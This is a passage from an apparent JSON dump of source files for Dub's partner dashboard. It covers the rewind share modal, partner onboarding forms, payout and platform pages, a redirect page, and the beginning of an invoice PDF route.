font-semibold\">\n          {label}\n        </span>\n\n        <div className=\"pt-2\">\n          <NumberFlow\n            value={animatedValue}\n            className=\"text-content-emphasis my-[-0.1em] text-5xl font-bold sm:text-8xl\"\n            style={{ \"--number-flow-mask-height\": \"0.1em\" } as CSSProperties}\n            trend={1}\n            format={{\n              ...(valueType === \"currency\" && {\n                style: \"currency\",\n                currency: \"USD\",\n                // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                trailingZeroDisplay: \"stripIfInteger\",\n              }),\n              ...(animatedValue > 9999999 && {\n                notation: \"compact\",\n              }),\n            }}\n            continuous\n          />\n        </div>\n\n        <div\n          className={cn(\n            \"mt-5 flex items-center gap-2.5\",\n            percentileLabel\n              ? \"animate-slide-up-fade [--offset:10px] [animation-delay:0.2s] [animation-duration:1.5s] [animation-fill-mode:both]\"\n              : \"opacity-0\",\n          )}\n          inert={!percentileLabel}\n        >\n          <img\n            src={`${REWIND_ASSETS_PATH}/top-medallion.png`}\n            alt=\"\"\n            className=\"size-6 drop-shadow-sm\"\n          />\n          <span className=\"text-content-emphasis text-base font-semibold\">\n            {percentileLabel} of all partners\n          </span>\n        </div>\n      </div>\n\n      <div className=\"flex items-end justify-between\">\n        <span className=\"text-content-emphasis font-display max-w-[180px] text-2xl font-bold leading-8 sm:text-3xl\">\n          Dub Partner Rewind &rsquo;25\n        </span>\n\n        <div className=\"-mb-3 -mr-2 -mt-16 h-[260px] grow sm:-mb-6 sm:-mr-8 sm:h-[340px]\">\n          <video\n            src={`${REWIND_ASSETS_PATH}/${video}`}\n            autoPlay\n            playsInline\n            muted\n            loop\n            className=\"size-full object-contain object-right-bottom\"\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/rewind/2025/share-rewind-modal.tsx",
    "content": "import { Button, LoadingSpinner, Modal } from \"@dub/ui\";\nimport slugify from \"@sindresorhus/slugify\";\nimport { useCallback, useEffect, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { REWIND_STEPS } from \"../../../../../../ui/partners/rewind/constants\";\n\ntype ShareRewindModalInnerProps = {\n  step: string;\n};\n\ntype ShareRewindModalProps = {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n} & ShareRewindModalInnerProps;\n\nfunction ShareRewindModal(props: ShareRewindModalProps) {\n  return (\n    <Modal {...props} className=\"max-w-[500px] xl:max-w-[600px]\">\n      <ShareRewindModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction ShareRewindModalInner({ step }: ShareRewindModalInnerProps) {\n  const imageUrl = `/api/og/partner-rewind?${new URLSearchParams({ step }).toString()}`;\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [blob, setBlob] = useState<Blob | null>(null);\n\n  useEffect(() => {\n    setIsLoading(true);\n    fetch(imageUrl)\n      .then((res) =>\n        res.blob().then((blob) => {\n          setBlob(blob);\n          setIsLoading(false);\n        }),\n      )\n      .catch(() => {\n        toast.error(\"Failed to prepare rewind image for sharing\");\n      });\n  }, [imageUrl]);\n\n  return (\n    <div className=\"flex flex-col gap-5 p-4 sm:px-6\">\n      <h3 className=\"text-lg font-medium\">Share rewind</h3>\n\n      <div className=\"border-border-subtle scrollbar-hide max-h-[calc(100dvh-200px)] overflow-y-auto rounded-xl border\">\n        <div className=\"relative aspect-[1084/994] w-full\">\n          <div className=\"absolute inset-0 flex items-center justify-center\">\n            <LoadingSpinner />\n          </div>\n          <img\n            src={`/api/og/partner-rewind?${new URLSearchParams({ step }).toString()}`}\n            alt=\"share rewind image\"\n            className=\"relative size-full\"\n          />\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2\">\n        <Button\n          text=\"Copy\"\n          variant=\"secondary\"\n          disabled={isLoading}\n          onClick={async () => {\n            if (!blob) return;\n\n            try {\n              const clipboardItem = new ClipboardItem({\n                [blob.type]: blob,\n              });\n\n              await navigator.clipboard.write([clipboardItem]);\n\n              toast.success(\"Copied to clipboard\");\n            } catch (err) {\n              console.error(\"Failed to copy image: \", err);\n              toast.error(\"Failed to copy image to clipboard\");\n            }\n          }}\n          className=\"h-9 w-fit rounded-lg\"\n        />\n        <Button\n          text=\"Download\"\n          disabled={isLoading}\n          onClick={() => {\n            if (!blob) return;\n\n            const blobUrl = URL.createObjectURL(blob);\n\n            // Create an anchor element\n            const link = document.createElement(\"a\");\n            link.href = blobUrl;\n            link.download = `rewind-${slugify(REWIND_STEPS.find((s) => s.id === step)?.label || \"\").toLowerCase()}.png`;\n\n            // Append the link to the body (necessary for some browsers)\n            document.body.appendChild(link);\n\n            // Programmatically click the link to trigger the download\n            link.click();\n\n            // Clean up by removing the link and revoking the object URL\n            document.body.removeChild(link);\n            URL.revokeObjectURL(blobUrl);\n          }}\n          className=\"h-9 w-fit rounded-lg\"\n        />\n      </div>\n    </div>\n  );\n}\n\nexport function useShareRewindModal(props: ShareRewindModalInnerProps) {\n  const [showShareRewindModal, setShowShareRewindModal] = useState(false);\n\n  const ShareRewindModalCallback = useCallback(() => {\n    return (\n      <ShareRewindModal\n        showModal={showShareRewindModal}\n        setShowModal={setShowShareRewindModal}\n        {...props}\n      />\n    );\n  }, [showShareRewindModal, setShowShareRewindModal, props]);\n\n  return useMemo(\n    () => ({\n      setShowShareRewindModal,\n      ShareRewindModal: ShareRewindModalCallback,\n    }),\n    [setShowShareRewindModal, ShareRewindModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/layout.tsx",
    "content": "import Toolbar from \"@/ui/layout/toolbar/toolbar\";\nimport { Grid, Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { SignedInHint } from \"app/app.dub.co/(onboarding)/signed-in-hint\";\nimport Link from \"next/link\";\n\nexport default function PartnerOnboardingLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <>\n      <div className=\"absolute inset-0 isolate overflow-hidden bg-white\">\n        {/* Grid */}\n        <div\n          className={cn(\n            \"absolute inset-y-0 left-1/2 w-[1200px] -translate-x-1/2\",\n            \"[mask-composite:intersect] [mask-image:linear-gradient(black,transparent_320px),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n          )}\n        >\n          <Grid\n            cellSize={60}\n            patternOffset={[0.75, 0]}\n            className=\"text-neutral-200\"\n          />\n        </div>\n\n        {/* Gradient */}\n        {[...Array(2)].map((_, idx) => (\n          <div\n            key={idx}\n            className={cn(\n              \"absolute left-1/2 top-6 size-[80px] -translate-x-1/2 -translate-y-1/2 scale-x-[1.6]\",\n              idx === 0 ? \"mix-blend-overlay\" : \"opacity-10\",\n            )}\n          >\n            {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n              <div\n                key={idx}\n                className={cn(\n                  \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                  \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n                )}\n              />\n            ))}\n          </div>\n        ))}\n      </div>\n\n      <div className=\"relative flex min-h-[100dvh] min-h-screen w-full flex-col items-center justify-between\">\n        <div className=\"grow basis-0\">\n          <div className=\"pt-4\">\n            <Link href=\"https://dub.co/home\" target=\"_blank\" className=\"block\">\n              <Wordmark className=\"h-8\" />\n              <div className=\"text-center text-sm font-semibold text-black/80\">\n                Partners\n              </div>\n            </Link>\n          </div>\n        </div>\n\n        <div className=\"w-full py-16\">{children}</div>\n\n        {/* Empty div to center main content */}\n        <div className=\"grow basis-0\" />\n      </div>\n\n      <Toolbar show={[\"help\"]} />\n      <SignedInHint />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/onboarding/onboarding-form.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { onboardPartnerAction } from \"@/lib/actions/partners/onboard-partner\";\nimport { getValidInternalRedirectPath } from \"@/lib/middleware/utils/is-valid-internal-redirect\";\nimport { onboardPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { CountryCombobox } from \"@/ui/partners/country-combobox\";\nimport { useCountryChangeWarningModal } from \"@/ui/partners/use-country-change-warning-modal\";\nimport { Partner } from \"@dub/prisma/client\";\nimport {\n  Button,\n  FileUpload,\n  ToggleGroup,\n  TooltipContent,\n  useEnterSubmit,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, LayoutGroup, motion } from \"motion/react\";\nimport { useSession } from \"next-auth/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\nimport { useEffect, useRef, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport ReactTextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.infer<typeof onboardPartnerSchema>;\n\nexport function OnboardingForm({\n  partner,\n}: {\n  partner?: Partial<\n    Pick<\n      Partner,\n      | \"name\"\n      | \"description\"\n      | \"country\"\n      | \"image\"\n      | \"profileType\"\n      | \"companyName\"\n      | \"payoutsEnabledAt\"\n    >\n  > | null;\n}) {\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const { isMobile } = useMediaQuery();\n  const [accountCreated, setAccountCreated] = useState(false);\n  const [isCountryComboboxOpen, setIsCountryComboboxOpen] = useState(false);\n  const { data: session, update: refreshSession } = useSession();\n  const countryChangeWarning = useCountryChangeWarningModal();\n\n  const {\n    register,\n    control,\n    handleSubmit,\n    reset,\n    setValue,\n    watch,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<FormData>({\n    defaultValues: {\n      name: partner?.name ?? undefined,\n      description: partner?.description ?? undefined,\n      country: partner?.country ?? undefined,\n      image: partner?.image ?? undefined,\n      profileType: partner?.profileType ?? \"individual\",\n      companyName: partner?.companyName ?? undefined,\n    },\n  });\n\n  const { name, image, profileType } = watch();\n\n  useEffect(() => {\n    if (session?.user) {\n      !name && setValue(\"name\", session.user.name ?? \"\");\n      !image && setValue(\"image\", session.user.image ?? \"\");\n    }\n  }, [session?.user, name, image, setValue]);\n\n  // refresh the session after the Partner account is created\n  useEffect(() => {\n    if (accountCreated) {\n      refreshSession();\n    }\n  }, [accountCreated, refreshSession]);\n\n  const { executeAsync, isPending } = useAction(onboardPartnerAction, {\n    onSuccess: () => {\n      setAccountCreated(true);\n      const next = getValidInternalRedirectPath({\n        redirectPath: searchParams.get(\"next\"),\n        currentUrl: window.location.href,\n      });\n      router.push(\n        `/onboarding/platforms${next ? `?next=${encodeURIComponent(next)}` : \"\"}`,\n      );\n    },\n    onError: ({ error, input }) => {\n      toast.error(parseActionError(error, \"An unknown error occurred.\"));\n      reset(input);\n    },\n  });\n\n  const formRef = useRef<HTMLFormElement>(null);\n  const { handleKeyDown } = useEnterSubmit(formRef);\n\n  return (\n    <form\n      ref={formRef}\n      onSubmit={handleSubmit(async (data) => await executeAsync(data))}\n      className=\"flex w-full flex-col gap-6 text-left\"\n    >\n      {countryChangeWarning.modal}\n      <label>\n        <span className=\"text-sm font-medium text-neutral-800\">Name</span>\n        <input\n          type=\"text\"\n          className={cn(\n            \"mt-1.5 block w-full rounded-md read-only:bg-neutral-100 read-only:text-neutral-500 focus:outline-none sm:text-sm\",\n            errors.name\n              ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n              : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n          )}\n          autoFocus={!isMobile && !errors.name}\n          {...register(\"name\", {\n            required: true,\n          })}\n        />\n      </label>\n\n      <label>\n        <span className=\"text-sm font-medium text-neutral-800\">\n          Profile image\n        </span>\n        <div className=\"flex items-center gap-5\">\n          <Controller\n            control={control}\n            name=\"image\"\n            render={({ field }) => (\n              <FileUpload\n                accept=\"images\"\n                className=\"mt-1.5 size-20 rounded-full border border-neutral-300\"\n                iconClassName=\"size-5\"\n                previewClassName=\"size-20 rounded-full\"\n                variant=\"plain\"\n                imageSrc={field.value}\n                readFile\n                onChange={({ src }) => field.onChange(src)}\n                content={null}\n                maxFileSizeMB={2}\n                targetResolution={{ width: 160, height: 160 }}\n              />\n            )}\n          />\n          <div>\n            <p className=\"text-xs text-neutral-500\">\n              Square image recommended, up to 2 MB.\n            </p>\n            <p className=\"mt-0.5 text-xs font-medium text-neutral-500\">\n              Adding an image can improve your approval rates.\n            </p>\n          </div>\n        </div>\n      </label>\n\n      <label>\n        <span className=\"text-sm font-medium text-neutral-800\">Country</span>\n        <Controller\n          control={control}\n          name=\"country\"\n          rules={{ required: true }}\n          render={({ field }) => (\n            <CountryCombobox\n              {...field}\n              error={errors.country ? true : false}\n              open={isCountryComboboxOpen}\n              onOpenChange={(open) => {\n                if (!open) {\n                  setIsCountryComboboxOpen(false);\n                  return;\n                }\n\n                const shouldShowCountryChangeWarning =\n                  !partner?.payoutsEnabledAt;\n\n                if (shouldShowCountryChangeWarning) {\n                  countryChangeWarning.acknowledgeAndContinue(() => {\n                    setIsCountryComboboxOpen(true);\n                  });\n                  return;\n                }\n\n                setIsCountryComboboxOpen(true);\n              }}\n              disabledTooltip={\n                partner?.payoutsEnabledAt ? (\n                  <TooltipContent\n                    title=\"Since you've already connected your bank account for payouts, you cannot change your profile country.\"\n                    cta=\"Contact support\"\n                    href=\"https://dub.co/support\"\n                    target=\"_blank\"\n                  />\n                ) : undefined\n              }\n            />\n          )}\n        />\n      </label>\n\n      <label>\n        <span className=\"text-sm font-medium text-neutral-800\">\n          Description\n          <span className=\"font-normal text-neutral-500\"> (optional)</span>\n        </span>\n        <ReactTextareaAutosize\n          className={cn(\n            \"mt-1.5 block w-full rounded-md focus:outline-none sm:text-sm\",\n            errors.description\n              ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n              : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n          )}\n          placeholder=\"Tell us about the kind of content you create – e.g. tech, travel, fashion, etc.\"\n          minRows={3}\n          onKeyDown={handleKeyDown}\n          {...register(\"description\")}\n        />\n      </label>\n\n      <LayoutGroup>\n        <div>\n          <span className=\"text-sm font-medium text-neutral-800\">\n            Profile Type\n          </span>\n          <div className=\"mt-1.5\">\n            <ToggleGroup\n              options={[\n                {\n                  value: \"individual\",\n                  label: \"Individual\",\n                },\n                {\n                  value: \"company\",\n                  label: \"Company\",\n                },\n              ]}\n              selected={profileType}\n              selectAction={(option: \"individual\" | \"company\") => {\n                if (!partner?.payoutsEnabledAt) {\n                  setValue(\"profileType\", option);\n                }\n              }}\n              className={cn(\n                \"flex w-full items-center gap-0.5 rounded-lg border-neutral-300 bg-neutral-100 p-0.5\",\n                partner?.payoutsEnabledAt && \"cursor-not-allowed opacity-70\",\n              )}\n              optionClassName={cn(\n                \"h-9 flex items-center justify-center rounded-lg flex-1\",\n                partner?.payoutsEnabledAt && \"pointer-events-none\",\n              )}\n              indicatorClassName=\"bg-white\"\n            />\n            <p className=\"mt-1.5 text-xs text-neutral-500\">\n              You can update this later in your partner profile settings.\n            </p>\n          </div>\n        </div>\n\n        <AnimatePresence mode=\"popLayout\">\n          {profileType === \"company\" && (\n            <motion.div\n              layout\n              initial={{ opacity: 0, height: 0 }}\n              animate={{ opacity: 1, height: \"auto\" }}\n              exit={{ opacity: 0, height: 0 }}\n              transition={{\n                type: \"spring\",\n                stiffness: 300,\n                damping: 30,\n                opacity: { duration: 0.2 },\n                layout: { duration: 0.3, type: \"spring\" },\n              }}\n            >\n              <label>\n                <span className=\"text-sm font-medium text-neutral-800\">\n                  Legal company name\n                </span>\n                <input\n                  type=\"text\"\n                  className={cn(\n                    \"mt-1.5 block w-full rounded-md read-only:bg-neutral-100 read-only:text-neutral-500 focus:outline-none sm:text-sm\",\n                    errors.companyName\n                      ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                      : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\",\n                  )}\n                  readOnly={!!partner?.companyName || !!errors.companyName}\n                  {...register(\"companyName\", {\n                    required: profileType === \"company\",\n                  })}\n                />\n              </label>\n            </motion.div>\n          )}\n        </AnimatePresence>\n\n        <motion.div layout>\n          <Button\n            type=\"submit\"\n            text=\"Continue\"\n            className=\"mt-1.5\"\n            loading={isPending || isSubmitting || isSubmitSuccessful}\n          />\n        </motion.div>\n      </LayoutGroup>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/onboarding/page.tsx",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { Suspense } from \"react\";\nimport { OnboardingForm } from \"./onboarding-form\";\n\nexport default function PartnerOnboarding() {\n  return (\n    <div className=\"mx-auto flex w-full max-w-[480px] flex-col items-center md:mt-4\">\n      <h1 className=\"animate-slide-up-fade text-lg font-medium [--offset:8px] [animation-delay:250ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        Create your partner profile\n      </h1>\n      <div className=\"animate-slide-up-fade w-full rounded-xl p-8 [--offset:10px] [animation-delay:500ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        <Suspense fallback={<OnboardingForm />}>\n          <OnboardingFormRSC />\n        </Suspense>\n      </div>\n    </div>\n  );\n}\n\nasync function OnboardingFormRSC() {\n  const { user } = await getSession();\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      email: user.email,\n    },\n  });\n\n  return <OnboardingForm partner={partner} />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/onboarding/payouts/page.tsx",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { getPartnerPayoutMethods } from \"@/lib/payouts/get-partner-payout-methods\";\nimport { PayoutMethodSelector } from \"@/ui/partners/payouts/payout-method-cards\";\nimport { prisma } from \"@dub/prisma\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { Suspense } from \"react\";\n\nexport default function OnboardingVerificationPage() {\n  return (\n    <div className=\"relative mx-auto my-10 flex w-full max-w-[640px] flex-col items-center px-4 text-center sm:px-6 md:mt-6\">\n      <h1 className=\"animate-slide-up-fade text-content-emphasis text-xl font-semibold [--offset:8px] [animation-delay:250ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        Connect payouts\n      </h1>\n      <p className=\"animate-slide-up-fade mt-1 text-base font-medium text-neutral-500 [--offset:8px] [animation-delay:250ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        Connect your preferred payout method to receive payments.\n      </p>\n      <div className=\"animate-slide-up-fade relative mt-12 w-full [--offset:10px] [animation-delay:500ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        <Suspense fallback={<PayoutSkeleton />}>\n          <PayoutRSC />\n        </Suspense>\n      </div>\n    </div>\n  );\n}\n\nfunction PayoutSkeleton() {\n  return (\n    <>\n      <div className=\"divide-y divide-neutral-200 overflow-hidden rounded-lg border border-neutral-200\">\n        <div className=\"flex items-center justify-center bg-neutral-50 p-4\">\n          <div className=\"h-10 w-24 animate-pulse rounded bg-neutral-200\" />\n        </div>\n        <div className=\"bg-white px-6 py-4\">\n          <div className=\"space-y-2\">\n            <div className=\"h-4 w-full animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-3/4 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-1/2 animate-pulse rounded bg-neutral-200\" />\n          </div>\n          <div className=\"mt-4 space-y-2\">\n            <div className=\"h-4 w-full animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-2/3 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n      </div>\n      <div className=\"mt-10 flex flex-col items-center gap-4\">\n        <div className=\"h-10 w-full animate-pulse rounded-md bg-black\" />\n        <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n      </div>\n    </>\n  );\n}\n\nasync function PayoutRSC() {\n  const { user } = await getSession();\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      email: user.email,\n    },\n    select: {\n      id: true,\n      country: true,\n      stripeConnectId: true,\n      stripeRecipientId: true,\n      paypalEmail: true,\n      defaultPayoutMethod: true,\n    },\n  });\n\n  if (!partner?.country) {\n    redirect(\"/\");\n  }\n\n  const payoutMethods = await getPartnerPayoutMethods(partner);\n\n  if (payoutMethods.length === 0) {\n    redirect(\"/\");\n  }\n\n  return (\n    <>\n      <PayoutMethodSelector\n        payoutMethods={payoutMethods}\n        allowConnectWhenPayoutsEnabled\n      />\n      <Link\n        href=\"/programs\"\n        className=\"mt-6 block text-center text-sm font-medium text-neutral-500 transition-colors hover:text-neutral-800\"\n      >\n        I'll complete this later\n      </Link>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/onboarding/payouts/payout-provider.tsx",
    "content": "\"use client\";\n\nimport { getValidInternalRedirectPath } from \"@/lib/middleware/utils/is-valid-internal-redirect\";\nimport { ConnectPayoutButton } from \"@/ui/partners/payouts/connect-payout-button\";\nimport Link from \"next/link\";\nimport { useSearchParams } from \"next/navigation\";\n\nexport function PayoutProvider({\n  provider,\n}: {\n  provider: \"stripe\" | \"paypal\";\n}) {\n  const searchParams = useSearchParams();\n  const next = getValidInternalRedirectPath({\n    redirectPath: searchParams.get(\"next\"),\n    currentUrl: window.location.href,\n  });\n\n  const providers = {\n    stripe: {\n      label: \"Stripe\",\n      logo: \"https://assets.dub.co/misc/stripe-wordmark.svg\",\n    },\n    paypal: {\n      label: \"Paypal\",\n      logo: \"https://assets.dub.co/misc/paypal-wordmark.svg\",\n    },\n  }[provider];\n\n  const { label, logo } = providers;\n\n  return (\n    <>\n      <div className=\"divide-y divide-neutral-200 overflow-hidden rounded-lg border border-neutral-200\">\n        <div className=\"flex items-center justify-center bg-neutral-50 p-4\">\n          <img\n            src={logo}\n            alt={`${label} wordmark`}\n            className=\"aspect-[96/40] h-10\"\n          />\n        </div>\n        <div className=\"bg-white px-6 py-4 text-sm text-neutral-600\">\n          We use {label} to ensure you get paid on time and to keep your\n          personal bank details secure. Click <strong>Connect payouts</strong>{\" \"}\n          to connect your payout account.\n          <br />\n          <br />\n          You can complete this at a later date, but won't be able to collect\n          any payouts until it's completed.\n          <br />\n          <br />\n          <a\n            href=\"https://dub.co/help/article/receiving-payouts\"\n            target=\"_blank\"\n            className=\"cursor-help text-sm text-neutral-500 underline decoration-dotted underline-offset-2 transition-colors hover:text-neutral-800\"\n          >\n            Learn more about receiving payouts on Dub.\n          </a>\n        </div>\n      </div>\n      <div className=\"mt-10 grid gap-4\">\n        <ConnectPayoutButton text=\"Connect payouts\" />\n\n        <Link\n          href={next ?? \"/programs\"}\n          className=\"text-sm font-medium text-neutral-500 transition-colors hover:text-neutral-800\"\n        >\n          I'll complete this later\n        </Link>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/onboarding/platforms/page-client.tsx",
    "content": "\"use client\";\n\nimport { getValidInternalRedirectPath } from \"@/lib/middleware/utils/is-valid-internal-redirect\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { PartnerPlatformsForm } from \"@/ui/partners/partner-platforms-form\";\nimport Link from \"next/link\";\nimport { useRouter, useSearchParams } from \"next/navigation\";\n\nexport function OnboardingPlatformsPageClient({\n  partner,\n}: {\n  partner: Pick<PartnerProps, \"country\" | \"platforms\">;\n}) {\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const next = getValidInternalRedirectPath({\n    redirectPath: searchParams.get(\"next\"),\n    currentUrl: window.location.href,\n  });\n\n  return (\n    <>\n      <PartnerPlatformsForm\n        onSubmitSuccessful={() =>\n          router.push(\n            `/onboarding/payouts${next ? `?next=${encodeURIComponent(next)}` : \"\"}`,\n          )\n        }\n        partner={partner}\n        variant=\"onboarding\"\n      />\n      <Link\n        href={`/onboarding/payouts${next ? `?next=${encodeURIComponent(next)}` : \"\"}`}\n        className=\"text-sm font-medium text-neutral-500 transition-colors hover:text-neutral-800\"\n      >\n        I'll complete this later\n      </Link>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(onboarding)/onboarding/platforms/page.tsx",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { buildSocialPlatformLookup } from \"@/lib/social-utils\";\nimport { PartnerPlatformProps } from \"@/lib/types\";\nimport { partnerPlatformSchema } from \"@/lib/zod/schemas/partners\";\nimport { PartnerPlatformsForm } from \"@/ui/partners/partner-platforms-form\";\nimport { prisma } from \"@dub/prisma\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { Suspense } from \"react\";\nimport * as z from \"zod/v4\";\nimport { OnboardingPlatformsPageClient } from \"./page-client\";\n\nexport default function OnboardingPlatformsPage() {\n  return (\n    <div className=\"relative mx-auto w-full max-w-[416px] text-center md:mt-4\">\n      <h1 className=\"animate-slide-up-fade text-lg font-medium [--offset:8px] [animation-delay:250ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        Your social and web platforms\n      </h1>\n\n      <p className=\"animate-slide-up-fade text-content-subtle mt-1 text-sm [animation-delay:500ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        Verifying your social and web platforms will improve your reputation\n        score and rank you higher in our partner network.\n      </p>\n\n      <div className=\"animate-slide-up-fade mt-8 grid gap-4 [animation-delay:750ms] [animation-duration:1s] [animation-fill-mode:both]\">\n        <Suspense fallback={<PartnerPlatformsForm partner={null} />}>\n          <OnboardingPlatformsFormRSC />\n        </Suspense>\n      </div>\n    </div>\n  );\n}\n\nasync function OnboardingPlatformsFormRSC() {\n  const { user } = await getSession();\n\n  const [partner, application] = await Promise.all([\n    prisma.partner.findFirst({\n      where: {\n        users: {\n          some: {\n            userId: user.id,\n          },\n        },\n      },\n      select: {\n        email: true,\n        country: true,\n        platforms: true,\n      },\n    }),\n\n    prisma.programApplication.findFirst({\n      where: {\n        enrollment: {\n          partner: {\n            users: {\n              some: {\n                userId: user.id,\n              },\n            },\n          },\n        },\n      },\n      select: {\n        website: true,\n        youtube: true,\n        twitter: true,\n        linkedin: true,\n        instagram: true,\n        tiktok: true,\n      },\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    }),\n  ]);\n\n  if (!partner) {\n    throw new Error(\"Partner not found\");\n  }\n\n  // Merge social handles from a partner application into the partner platforms list.\n  const platforms: PartnerPlatformProps[] = z\n    .array(partnerPlatformSchema)\n    .parse(partner.platforms);\n\n  if (application) {\n    const socialPlatformsMap = buildSocialPlatformLookup(platforms);\n\n    const APPLICATION_SOCIAL_PLATFORMS = [\n      \"website\",\n      \"youtube\",\n      \"twitter\",\n      \"linkedin\",\n      \"instagram\",\n      \"tiktok\",\n    ] as const satisfies readonly PlatformType[];\n\n    for (const platform of APPLICATION_SOCIAL_PLATFORMS) {\n      const handle = application[platform];\n\n      // Application-provided handles are added only if the partner does not already have that platform.\n      if (handle && !socialPlatformsMap[platform]) {\n        platforms.push({\n          type: platform,\n          identifier: handle,\n          platformId: null,\n          verifiedAt: null,\n          subscribers: BigInt(0),\n          views: BigInt(0),\n          posts: BigInt(0),\n        });\n      }\n    }\n  }\n\n  return <OnboardingPlatformsPageClient partner={{ ...partner, platforms }} />;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(redirects)/apply/[programSlug]/[[...slug]]/page.tsx",
    "content": "import { redirect } from \"next/navigation\";\n\nexport default async function OldApplyPage(props: {\n  params: Promise<{ programSlug: string; slug: string[] }>;\n}) {\n  const params = await props.params;\n  const { programSlug, slug } = params;\n  if (slug && slug.includes(\"application\")) {\n    redirect(\n      `/${programSlug}/apply${slug.includes(\"success\") ? \"/success\" : \"\"}`,\n    );\n  }\n\n  redirect(`/${programSlug}`);\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/invoices/[payoutId]/route.tsx",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  INVOICE_AVAILABLE_PAYOUT_STATUSES,\n  STABLECOIN_PAYOUT_FEE_RATE,\n} from \"@/lib/constants/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  currencyFormatter,\n  DUB_WORDMARK,\n  EU_COUNTRY_CODES,\n  formatDate,\n} from \"@dub/utils\";\nimport {\n  Document,\n  Image,\n  Link,\n  Page,\n  renderToBuffer,\n  Text,\n  View,\n} from \"@react-pdf/renderer\";\nimport { createTw } from \"react-pdf-tailwind\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst tw = createTw({\n  theme: {\n    fontFamily: {\n      // sans: [\"Times-Bold\"],\n    },\n  },\n});\n\n// GET /partners.dub.co/invoices/[payoutId] - get the invoice for a payout\nexport const GET = withPartnerProfile(async ({ partner, params }) => {\n  const { payoutId } = params;\n\n  const payout = await prisma.payout.findUniqueOrThrow({\n    where: {\n      id: payoutId,\n    },\n    include: {\n      program: {\n        select: {\n          name: true,\n          logo: true,\n          supportEmail: true,\n        },\n      },\n    },\n  });\n\n  if (payout.partnerId !== partner.id) {\n    throw new DubApiError({\n      code: \"unauthorized\",\n      message: \"You are not authorized to view this payout.\",\n    });\n  }\n\n  if (!INVOICE_AVAILABLE_PAYOUT_STATUSES.includes(payout.status)) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"This payout is not completed yet, hence no invoice is generated.\",\n    });\n  